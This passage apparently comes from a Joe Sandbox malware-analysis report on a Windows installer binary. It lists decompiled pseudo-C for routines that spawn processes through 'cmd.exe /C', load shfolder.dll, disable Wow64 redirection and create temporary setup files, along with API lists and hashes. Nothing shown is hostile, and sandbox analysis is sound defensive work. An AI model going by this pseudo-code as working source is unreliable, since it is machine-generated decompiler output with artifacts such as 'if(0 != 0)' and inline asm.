				if(0 != 0) {
					_push(0x453338);
					_push(_t149);
					_push(0x453338);
					E0040364C();
					__eflags = _v12;
					if(__eflags != 0) {
						_push(_v20);
						_push(0x453344);
						_push(_v12);
						E0040364C();
					}
					E0042C830(_t149, _t123,  &_v108, __eflags);
					__eflags = E00406A24(_v108, 0x453350);
					if(__eflags == 0) {
						L6:
						_t68 = E0042DA0C(_t67);
						__eflags = _t68;
						if(_t68 == 0) {
							_push(0x453338);
							E0042D754( &_v112);
							E0042C3E0(_v112,  &_v108);
							_push(_v108);
							_push("COMMAND.COM\" /C ");
							_push(_v20);
							E0040364C();
						} else {
							_push(0x453338);
							E0042D780( &_v112);
							E0042C3E0(_v112,  &_v108);
							_push(_v108);
							_push("cmd.exe\" /C \"");
							_push(_v20);
							_push(0x453338);
							E0040364C();
						}
						goto L9;
					} else {
						E0042C830(_t149, _t123,  &_v108, __eflags);
						_t67 = E00406A24(_v108, 0x453360);
						__eflags = _t67;
						if(_t67 != 0) {
							L9:
							__eflags = _a24;
							if(_a24 == 0) {
								E0042C7D8(_t149, _t123,  &_a24);
							}
							goto L11;
						}
						goto L6;
					}
				} else {
					E004034AC( &_v20, _v12);
					L11:
					E00402934( &_v88, 0x44);
					_v88 = 0x44;
					_v44 = 1;
					_v40 = _a12;
					_t156 = _a24;
					if(_a24 == 0) {
						_t150 = 0;
						__eflags = 0;
					} else {
						_t150 = E00403750(_a24);
					}
					_t82 = E00450C2C(_v5, E00403750(_v20), 0, _t156,  &_v104,  &_v88, _t150, 0, 0x4000000, 0, 0, 0); // executed
					asm("sbb eax, eax");
					_v13 =  ~( ~_t82);
					if(_v13 != 0) {
						CloseHandle(_v100);
						__eflags = _a16;
						if(_a16 != 0) {
							WaitForInputIdle(_v104, 0xffffffff);
						}
						__eflags = _a20;
						if(_a20 == 0) {
							L22:
							GetExitCodeProcess(_v104, _t147); // executed
							CloseHandle(_v104);
							goto L23;
						} else {
							do {
								__eflags = _t122;
								if(_t122 != 0) {
									 *_t122();
								}
								_t99 = MsgWaitForMultipleObjects(1,  &_v104, 0, 0xffffffff, 0xff);
								__eflags = _t99 == 1;
							} while (_t99 == 1);
							goto L22;
						}
					} else {
						 *_t147 = GetLastError();
						L23:
						_pop(_t137);
						 *[fs:eax] = _t137;
						_push(E00453317);
						E00403438( &_v112, 2);
						E00403418( &_v20);
						return E00403418( &_a24);
					}
				}
			}

0x004530d8
0x004530e3
0x004530e6
0x004530e9
0x004530ec
0x004530ef
0x004530f1
0x004530f4
0x004530f7
0x004530fd
0x00453104
0x00453105
0x0045310a
0x0045310d
0x00453117
0x0045311c
0x0045312e
0x00453133
0x00453134
0x00453141
0x00453146
0x0045314a
0x0045314c
0x0045314f
0x00453154
0x0045315f
0x0045315f
0x00453169
0x0045317b
0x0045317d
0x0045319a
0x0045319a
0x0045319f
0x004531a1
0x004531da
0x004531e2
0x004531ed
0x004531f2
0x004531f5
0x004531fa
0x00453205
0x004531a3
0x004531a3
0x004531ab
0x004531b6
0x004531bb
0x004531be
0x004531c3
0x004531c6
0x004531d3
0x004531d3
0x00000000
0x0045317f
0x00453184
0x00453191
0x00453196
0x00453198
0x0045320a
0x0045320a
0x0045320e
0x00453215
0x00453215
0x00000000
0x0045320e
0x00000000
0x00453198
0x0045311e
0x00453124
0x0045321a
0x00453224
0x00453229
0x00453230
0x0045323b
0x0045323f
0x00453243
0x00453251
0x00453251
0x00453245
0x0045324d
0x0045324d
0x00453278
0x0045327f
0x00453283
0x0045328a
0x00453299
0x0045329e
0x004532a2
0x004532aa
0x004532aa
0x004532af
0x004532b3
0x004532d2
0x004532d7
0x004532e0
0x00000000
0x004532b5
0x004532b5
0x004532b5
0x004532b7
0x004532b9
0x004532b9
0x004532ca
0x004532cf
0x004532cf
0x00000000
0x004532b5
0x0045328c
0x00453291
0x004532e5
0x004532e7
0x004532ea
0x004532ed
0x004532fa
0x00453302
0x0045330f
0x0045330f
0x0045328a

APIs

GetLastError.KERNEL32(?,?,00000000,00000000,04000000,00000000,00000000,00000000,?,COMMAND.COM" /C ,?,00453338,00453338,?,00453338,00000000), ref: 0045328C
CloseHandle.KERNEL32(?,?,?,00000000,00000000,04000000,00000000,00000000,00000000,?,COMMAND.COM" /C ,?,00453338,00453338,?,00453338), ref: 00453299
WaitForInputIdle.USER32 ref: 004532AA
MsgWaitForMultipleObjects.USER32 ref: 004532CA
GetExitCodeProcess.KERNEL32 ref: 004532D7
CloseHandle.KERNEL32(?,?,?,?,?,?,00000000,00000000,04000000,00000000,00000000,00000000,?,COMMAND.COM" /C ,?,00453338), ref: 004532E0

Strings

COMMAND.COM" /C , xrefs: 004531F5
cmd.exe" /C ", xrefs: 004531BE
.bat, xrefs: 00453171
.cmd, xrefs: 0045318C
D, xrefs: 00453229

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CloseHandleWait$CodeErrorExitIdleInputLastMultipleObjectsProcess
String ID: .bat$.cmd$COMMAND.COM" /C $D$cmd.exe" /C "
API String ID: 854858120-615399546
Opcode ID: 85f99c9caa55afd09c565bd4a6fe5cc6347d89170a7bf262279e383cbbdc024d
Instruction ID: a6046ff60642a017085587ab877fa75dc5fc04834886d603548fbc532c1bf6e6
Opcode Fuzzy Hash: 85f99c9caa55afd09c565bd4a6fe5cc6347d89170a7bf262279e383cbbdc024d
Instruction Fuzzy Hash: A9517870A00359AADF11EF95CC41BDEBBB9AF04746F50446BBC14BB282D77C9A09CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00423858 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 98
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E00423858(int __eax, void* __edi, void* __esi) {
				void* __ebx;
				int _t12;
				long _t13;
				CHAR* _t14;
				struct HINSTANCE__* _t15;
				signed int _t17;
				signed int _t18;
				signed int _t20;
				struct HINSTANCE__* _t21;
				void* _t23;
				CHAR* _t24;
				struct HWND__* _t25;
				long _t38;
				struct HINSTANCE__* _t41;
				int _t45;
				struct HMENU__* _t46;
				struct _WNDCLASSA* _t54;
				short _t57;

				_t12 = __eax;
				_t45 = __eax;
				if( *((char*)(__eax + 0x7e)) != 0) {
					L12:
					return _t12;
				}
				_t13 = E0041F3A8(E00423BF0, __eax); // executed
				 *(_t45 + 0x24) = _t13;
				_t14 =  *0x48e654; // 0x423660
				_t15 =  *0x48f014; // 0x400000
				if(GetClassInfoA(_t15, _t14, _t54) == 0) {
					_t41 =  *0x48f014; // 0x400000
					 *0x48e640 = _t41;
					_t57 = RegisterClassA(0x48e630);
					if(_t57 == 0) {
						E00408C54(_t45, 0xf02c, 1, __edi, __esi);
						E00403134();
					}
				}
				_t17 = GetSystemMetrics(0); // executed
				_t18 = _t17 >> 1;
				if(_t57 < 0) {
					asm("adc eax, 0x0");
				}
				_push(_t18);
				_t20 = GetSystemMetrics(1) >> 1;
				if(_t57 < 0) {
					asm("adc eax, 0x0");
				}
				_push(_t20);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_t21 =  *0x48f014; // 0x400000
				_push(_t21);
				_push(0);
				_t3 = _t45 + 0x6c; // 0x20040
				_t23 = E00403750( *_t3);
				_t24 =  *0x48e654; // 0x423660, executed
				_t25 = E004062F8(_t24, 0x94ca0000, _t23); // executed
				 *(_t45 + 0x20) = _t25;
				_t5 = _t45 + 0x6c; // 0x41edf4
				E00403418(_t5);
				 *((char*)(_t45 + 0x7e)) = 1;
				_t7 = _t45 + 0x20; // 0x410634
				E00423630( *_t7, 9, _t57);
				_t8 = _t45 + 0x24; // 0x423670
				_t9 = _t45 + 0x20; // 0x410634
				SetWindowLongA( *_t9, 0xfffffffc,  *_t8);
				if( *0x48f5c4 != 0) {
					_t38 = E0042415C(_t45);
					_t10 = _t45 + 0x20; // 0x410634
					SendMessageA( *_t10, 0x80, 1, _t38); // executed
				}
				_t11 = _t45 + 0x20; // 0x410634
				_t46 = GetSystemMenu( *_t11, 0);
				DeleteMenu(_t46, 0xf030, 0);
				_t12 = DeleteMenu(_t46, 0xf000, 0);
				if( *0x48f5c4 == 0) {
					goto L12;
				} else {
					return DeleteMenu(_t46, 0xf010, 0);
				}
			}

0x00423858
0x0042385c
0x00423862
0x0042398f
0x0042398f
0x0042398f
0x0042386e
0x00423873
0x00423877
0x0042387d
0x0042388a
0x0042388c
0x00423891
0x004238a0
0x004238a3
0x004238b1
0x004238b6
0x004238b6
0x004238a3
0x004238bd
0x004238c2
0x004238c4
0x004238c6
0x004238c6
0x004238c9
0x004238d1
0x004238d3
0x004238d5
0x004238d5
0x004238d8
0x004238d9
0x004238db
0x004238dd
0x004238df
0x004238e1
0x004238e6
0x004238e7
0x004238e9
0x004238ec
0x004238f8
0x004238fd
0x00423902
0x00423905
0x00423908
0x0042390d
0x00423916
0x00423919
0x0042391e
0x00423924
0x00423928
0x00423934
0x00423938
0x00423945
0x00423949
0x00423949
0x00423950
0x00423959
0x00423963
0x00423970
0x0042397c
0x00000000
0x0042397e
0x00000000
0x00423986

APIs

Part of subcall function 0041F3A8: VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041ED88,?,00423873,00423BF0,0041ED88), ref: 0041F3C6

GetClassInfoA.USER32 ref: 00423883
RegisterClassA.USER32 ref: 0042389B
GetSystemMetrics.USER32 ref: 004238BD
GetSystemMetrics.USER32 ref: 004238CC
SetWindowLongA.USER32(00410634,000000FC,00423670), ref: 00423928
SendMessageA.USER32(00410634,00000080,00000001,00000000), ref: 00423949
GetSystemMenu.USER32(00410634,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00400000,00423660,?,00423BF0), ref: 00423954
DeleteMenu.USER32(00000000,0000F030,00000000,00410634,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00400000), ref: 00423963
DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F030,00000000,00410634,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001), ref: 00423970
DeleteMenu.USER32(00000000,0000F010,00000000,00000000,0000F000,00000000,00000000,0000F030,00000000,00410634,00000000,00000000,00400000,00000000,00000000,00000000), ref: 00423986

Strings

`6B, xrefs: 00423877, 004238F8

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Menu$DeleteSystem$ClassMetrics$AllocInfoLongMessageRegisterSendVirtualWindow
String ID: `6B
API String ID: 183575631-2790827003
Opcode ID: 8f81d08a5fa5827f17b2bbb4aeae5863995f0e724e54aceae9d0da548a22e724
Instruction ID: dca9ab8911853f76dffcf6cae1d2b5893a5cb5f7f917fbd6c23b280ca817aa26
Opcode Fuzzy Hash: 8f81d08a5fa5827f17b2bbb4aeae5863995f0e724e54aceae9d0da548a22e724
Instruction Fuzzy Hash: 1631D3B07002006AEB10BF65DC86F6A32A89B15708F60057AFA40FE2D3D6BCED44476C

Uniqueness

Uniqueness Score: -1.00%

Function 00474290 Relevance: 15.8, APIs: 1, Strings: 8, Instructions: 95
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E00474290(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				char _v32;
				char _v36;
				intOrPtr _t32;
				void* _t39;
				struct HINSTANCE__* _t46;
				struct HINSTANCE__* _t47;
				_Unknown_base(*)()* _t71;
				intOrPtr _t83;
				void* _t90;
				void* _t92;

				_t92 = __eflags;
				_t87 = __esi;
				_t86 = __edi;
				_t70 = __ebx;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v28 = 0;
				_v8 = 0;
				_push(_t90);
				_push(0x4743cb);
				_push( *[fs:eax]);
				 *[fs:eax] = _t90 + 0xffffffe0;
				_t32 =  *0x48fff8; // 0x2329e28
				E0042C3E0(_t32,  &_v28);
				E004035D8( &_v8, "_isetup\\_shfoldr.dll", _v28);
				E00473F0C("SHFOLDERDLL", __ebx, _v8, __edi, __esi, _t92); // executed
				_t39 = E00450A1C( &_v24);
				_t93 = _t39;
				if(_t39 == 0) {
					E00451710("Failed to get version numbers of _shfoldr.dll", _t70, _t86, _t87, _t93);
				}
				if(E00450A1C( &_v16) == 0 || _v16 <= _v24 && (_v16 != _v24 || _v12 <= _v20)) {
					if(_v16 == _v24 && _v12 == _v20) {
						goto L8;
					}
				} else {
					L8:
					E004034AC( &_v8, "shfolder.dll");
				}
				E0042E1B8("shell32.dll", _t70, 0x8000); // executed
				_t46 = E0042E1B8(_v8, _t70, 0x8000); // executed
				 *0x4902f0 = _t46;
				if( *0x4902f0 == 0) {
					_v36 = _v8;
					_v32 = 0xb;
					E0040788C("Failed to load DLL \"%s\"", 0,  &_v36,  &_v28);
					E00451710(_v28, _t70, _t86, _t87, 0);
				}
				_t47 =  *0x4902f0; // 0x745d0000
				_t71 = GetProcAddress(_t47, "SHGetFolderPathA");
				 *0x4902f4 = _t71;
				_t102 = _t71;
				if(_t71 == 0) {
					E00451710("Failed to get address of SHGetFolderPathA function", _t71, _t86, _t87, _t102);
				}
				_pop(_t83);
				 *[fs:eax] = _t83;
				_push(E004743D2);
				E00403418( &_v28);
				return E00403418( &_v8);
			}

0x00474290
0x00474290
0x00474290
0x00474290
0x00474296
0x00474297
0x00474298
0x0047429b
0x0047429e
0x004742a3
0x004742a4
0x004742a9
0x004742ac
0x004742b2
0x004742b7
0x004742c7
0x004742d4
0x004742df
0x004742e4
0x004742e6
0x004742ed
0x004742ed
0x00474301
0x00474321
0x00000000
0x00000000
0x0047432b
0x0047432b
0x00474333
0x00474333
0x00474342
0x0047434f
0x00474354
0x00474360
0x00474369
0x0047436c
0x0047437a
0x00474382
0x00474382
0x0047438c
0x00474397
0x00474399
0x0047439f
0x004743a1
0x004743a8
0x004743a8
0x004743af
0x004743b2
0x004743b5
0x004743bd
0x004743ca

APIs

GetProcAddress.KERNEL32(745D0000,SHGetFolderPathA), ref: 00474392

Strings

shfolder.dll, xrefs: 004742F5, 0047432E
Failed to load DLL "%s", xrefs: 00474375
shell32.dll, xrefs: 0047433D
Failed to get version numbers of _shfoldr.dll, xrefs: 004742E8
SHFOLDERDLL, xrefs: 004742CF
SHGetFolderPathA, xrefs: 00474387
_isetup\_shfoldr.dll, xrefs: 004742C2
Failed to get address of SHGetFolderPathA function, xrefs: 004743A3

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address of SHGetFolderPathA function$Failed to get version numbers of _shfoldr.dll$Failed to load DLL "%s"$SHFOLDERDLL$SHGetFolderPathA$_isetup\_shfoldr.dll$shell32.dll$shfolder.dll
API String ID: 190572456-1072092678
Opcode ID: d87cb2d3e392e355e94c80d29309abb160cb41e2f9daf99df89ffe7e577714a2
Instruction ID: 187b3da3b30b9edf6afbf4b8feeb49d0e071275e5d931af165dcd1fc62301799
Opcode Fuzzy Hash: d87cb2d3e392e355e94c80d29309abb160cb41e2f9daf99df89ffe7e577714a2
Instruction Fuzzy Hash: A8312F30A00109DFDB00EF95D981AFEB7B5EB84344F51847BE908E7251D7389E059B6D

Uniqueness

Uniqueness Score: -1.00%

Function 0042EC0C Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 90
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 70%

			E0042EC0C(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				void* _t10;
				intOrPtr _t17;
				struct HINSTANCE__* _t22;
				struct HWND__* _t23;
				struct HINSTANCE__* _t24;
				intOrPtr _t26;
				struct HWND__* _t30;
				void* _t38;
				intOrPtr _t40;
				void* _t43;
				struct HWND__* _t45;
				struct HWND__* _t46;
				intOrPtr _t48;
				intOrPtr _t49;

				_t44 = __esi;
				_t38 = __edx;
				_t48 = _t49;
				_push(0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				if(__edx != 0) {
					_t49 = _t49 + 0xfffffff0;
					_t10 = E00402D48(_t10, _t48);
				}
				_t43 = _t10;
				_push(_t48);
				_push(0x42ed1b);
				_push( *[fs:eax]);
				 *[fs:eax] = _t49;
				E00402B48(0);
				 *((intOrPtr*)(_t43 + 0xc)) = GetActiveWindow();
				 *((intOrPtr*)(_t43 + 0x10)) = GetFocus();
				_t17 = E0041EE88(0, _t38, _t43, _t44); // executed
				 *((intOrPtr*)(_t43 + 0x14)) = _t17;
				if( *0x48f670 == 0) {
					 *0x48f670 = RegisterClassA(0x48e7a8);
				}
				if( *0x48f670 != 0) {
					_t22 =  *0x48f014; // 0x400000
					_t23 = CreateWindowExA(0, "TWindowDisabler-Window", 0x42ed38, 0x88000000, 0, 0, 0, 0, 0, 0, _t22, 0); // executed
					_t45 = _t23;
					 *(_t43 + 8) = _t45;
					if(_t45 != 0) {
						_t24 =  *0x48f014; // 0x400000
						_t5 = _t43 + 8; // 0x61736944
						_t26 =  *0x48f628; // 0x22f2410
						E00424260(_t26,  &_v8);
						_t30 = CreateWindowExA(0, "TWindowDisabler-Window", E00403750(_v8), 0x80000000, 0, 0, 0, 0,  *_t5, 0, _t24, 0); // executed
						_t46 = _t30;
						 *(_t43 + 4) = _t46;
						if(_t46 != 0) {
							ShowWindow(_t46, 8); // executed
						}
					}
				}
				SetFocus(0);
				_pop(_t40);
				 *[fs:eax] = _t40;
				_push(E0042ED22);
				return E00403418( &_v8);
			}

0x0042ec0c
0x0042ec0c
0x0042ec0d
0x0042ec0f
0x0042ec11
0x0042ec12
0x0042ec13
0x0042ec16
0x0042ec18
0x0042ec1b
0x0042ec1b
0x0042ec22
0x0042ec26
0x0042ec27
0x0042ec2c
0x0042ec2f
0x0042ec36
0x0042ec40
0x0042ec48
0x0042ec4d
0x0042ec52
0x0042ec5d
0x0042ec69
0x0042ec69
0x0042ec77
0x0042ec7f
0x0042eca2
0x0042eca7
0x0042eca9
0x0042ecae
0x0042ecb2
0x0042ecba
0x0042ecce
0x0042ecd3
0x0042ece8
0x0042eced
0x0042ecef
0x0042ecf4
0x0042ecf9
0x0042ecf9
0x0042ecf4
0x0042ecae
0x0042ed00
0x0042ed07
0x0042ed0a
0x0042ed0d
0x0042ed1a

APIs

GetActiveWindow.USER32 ref: 0042EC3B
GetFocus.USER32 ref: 0042EC43
RegisterClassA.USER32 ref: 0042EC64
CreateWindowExA.USER32 ref: 0042ECA2
CreateWindowExA.USER32 ref: 0042ECE8
ShowWindow.USER32(00000000,00000008,00000000,TWindowDisabler-Window,00000000,80000000,00000000,00000000,00000000,00000000,61736944,00000000,00400000,00000000,00000000,TWindowDisabler-Window), ref: 0042ECF9
SetFocus.USER32(00000000,00000000,0042ED1B,?,?,?,00000001,00000000,?,00455E42,00000000,0048F628), ref: 0042ED00

Strings

TWindowDisabler-Window, xrefs: 0042EC9B, 0042ECE1

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Window$CreateFocus$ActiveClassRegisterShow
String ID: TWindowDisabler-Window
API String ID: 3167913817-1824977358
Opcode ID: 50ae269e0840037ff59ce513bd741988f8e7d3efe2e94fab69e0f47caffc8ef5
Instruction ID: e773591ee7bc48db890b071a7cc259702f38e3955da87e7047ef3545b3e081be
Opcode Fuzzy Hash: 50ae269e0840037ff59ce513bd741988f8e7d3efe2e94fab69e0f47caffc8ef5
Instruction Fuzzy Hash: E221A671740B11BAE210EB67DD03F1A7664EB44B14F50493AB504BB2D2DBB96C5187AC

Uniqueness

Uniqueness Score: -1.00%

Function 004515BC Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E004515BC(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				char _v8;
				char _t8;
				intOrPtr _t22;
				intOrPtr _t27;

				_t16 = __ebx;
				_push(0);
				_push(__ebx);
				_push(_t27);
				_push(0x451655);
				_push( *[fs:eax]);
				 *[fs:eax] = _t27;
				 *0x48fed4 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "Wow64DisableWow64FsRedirection");
				 *0x48fed8 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "Wow64RevertWow64FsRedirection");
				if( *0x48fed4 == 0 ||  *0x48fed8 == 0) {
					_t8 = 0;
				} else {
					_t8 = 1;
				}
				 *0x48fedc = _t8;
				E0042E1B8("shell32.dll", _t16, 0x8000); // executed
				E0042E638(0x4c783afb,  &_v8);
				_pop(_t22);
				 *[fs:eax] = _t22;
				_push(E0045165C);
				return E00403418( &_v8);
			}

0x004515bc
0x004515bf
0x004515c1
0x004515c6
0x004515c7
0x004515cc
0x004515cf
0x004515e7
0x00451601
0x0045160d
0x00451618
0x0045161c
0x0045161c
0x0045161c
0x0045161e
0x0045162d
0x0045163a
0x00451641
0x00451644
0x00451647
0x00451654

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00451655,?,?,?,?,00000000,?,0048DCEF), ref: 004515DC
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004515E2
GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00451655,?,?,?,?,00000000,?,0048DCEF), ref: 004515F6
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 004515FC

Strings

shell32.dll, xrefs: 00451628
Wow64DisableWow64FsRedirection, xrefs: 004515D2
Wow64RevertWow64FsRedirection, xrefs: 004515EC
kernel32.dll, xrefs: 004515D7, 004515F1

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
API String ID: 1646373207-2130885113
Opcode ID: 0606df6bfe006159059d630d6b9c8d6a0745cd584e61856f819da8b163c211b5
Instruction ID: a14ab9b11594faa8221d7a32e6bcd4085858dc09a311689c1fbc26ed636eb49d
Opcode Fuzzy Hash: 0606df6bfe006159059d630d6b9c8d6a0745cd584e61856f819da8b163c211b5
Instruction Fuzzy Hash: CF01A270240744BFD711BB669C12B6A3A98D711759FA9083FF800965B3D6BC4D0CCB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00473F64 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E00473F64(long __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;
				char _v36;
				char _v40;
				char _v44;
				intOrPtr _t46;
				int _t52;
				intOrPtr _t85;
				void* _t88;
				intOrPtr _t100;
				intOrPtr _t105;
				intOrPtr _t118;
				intOrPtr _t119;

				_t116 = __esi;
				_t115 = __edi;
				_t87 = __ebx;
				_t118 = _t119;
				_t88 = 5;
				do {
					_push(0);
					_push(0);
					_t88 = _t88 - 1;
				} while (_t88 != 0);
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t118);
				_push(0x4740d7);
				_push( *[fs:eax]);
				 *[fs:eax] = _t119;
				E00451D94( &_v20, __ebx, __edx, __edi, __esi); // executed
				E00403468(0x48fff8, _t87, _v20, _t115, _t116);
				E004034AC( &_v20, "Created temporary directory: ");
				_t100 =  *0x48fff8; // 0x2329e28
				E00403594( &_v20, _t100);
				E00455348(_v20, _t87, _t115, _t116);
				if( *0x48fee8 != 0) {
					_t85 =  *0x48fff8; // 0x2329e28
					E00454C6C(_t85);
				}
				_t46 =  *0x48fff8; // 0x2329e28
				E0042C3E0(_t46,  &_v20);
				E004035D8( &_v8, "_isetup", _v20);
				_t52 = CreateDirectoryA(E00403750(_v8), 0); // executed
				_t122 = _t52;
				if(_t52 == 0) {
					_t87 = GetLastError();
					E004503A4(0x2f,  &_v36, _v8);
					_v32 = _v36;
					E00406D00(_t70,  &_v40);
					_v28 = _v40;
					E0042E638(_t87,  &_v44);
					_v24 = _v44;
					E00450374(0x60, 2,  &_v32,  &_v20);
					E00408BA4(_v20, 1);
					E00403134();
				}
				E004035D8( &_v16, "\\_RegDLL.tmp", _v8);
				E00473F0C("REGDLL_EXE", _t87, _v16, _t115, _t116, _t122); // executed
				E00455F20( &_v12);
				_t123 = _v12;
				if(_v12 != 0) {
					E004035D8( &_v16, "\\_setup64.tmp", _v8);
					E00473F0C(_v12, _t87, _v16, _t115, _t116, _t123); // executed
					E00455F8C(_v16);
				}
				_pop(_t105);
				 *[fs:eax] = _t105;
				_push(E004740DE);
				E00403438( &_v44, 3);
				return E00403438( &_v20, 4);
			}

0x00473f64
0x00473f64
0x00473f64
0x00473f65
0x00473f67
0x00473f6c
0x00473f6c
0x00473f6e
0x00473f70
0x00473f70
0x00473f73
0x00473f74
0x00473f75
0x00473f78
0x00473f79
0x00473f7e
0x00473f81
0x00473f87
0x00473f94
0x00473fa1
0x00473fa9
0x00473faf
0x00473fb7
0x00473fc3
0x00473fc5
0x00473fca
0x00473fca
0x00473fd2
0x00473fd7
0x00473fe7
0x00473ff7
0x00473ffc
0x00473ffe
0x00474005
0x00474013
0x0047401b
0x00474023
0x0047402b
0x00474033
0x0047403b
0x00474048
0x00474057
0x0047405c
0x0047405c
0x0047406c
0x00474079
0x00474081
0x00474086
0x0047408a
0x00474097
0x004740a2
0x004740aa
0x004740aa
0x004740b1
0x004740b4
0x004740b7
0x004740c4
0x004740d6

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,004740D7,?,?,00000000,0048F628,00000000,00000000,?,0048D6E6,00000000,0048D88F,?,00000000), ref: 00473FF7
GetLastError.KERNEL32(00000000,00000000,00000000,004740D7,?,?,00000000,0048F628,00000000,00000000,?,0048D6E6,00000000,0048D88F,?,00000000), ref: 00474000

Strings

Created temporary directory: , xrefs: 00473F99
\_RegDLL.tmp, xrefs: 00474064
_isetup, xrefs: 00473FE2
REGDLL_EXE, xrefs: 00474074
\_setup64.tmp, xrefs: 0047408F

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: Created temporary directory: $REGDLL_EXE$\_RegDLL.tmp$\_setup64.tmp$_isetup
API String ID: 1375471231-1421604804
Opcode ID: ff36ccb1a47d1d82488d438eb6ab04ac1053aaecd0ea62571d35b0158f608354
Instruction ID: e189acb47d7761cccc4aae5cd70386535472efc6c5bf6feefd728c4fc98ce432
Opcode Fuzzy Hash: ff36ccb1a47d1d82488d438eb6ab04ac1053aaecd0ea62571d35b0158f608354
Instruction Fuzzy Hash: AE413374A001499BCB00FF95C881AEEB7B5EF84305F50847BE910B7392DB38AE49CB59

Uniqueness

Uniqueness Score: -1.00%

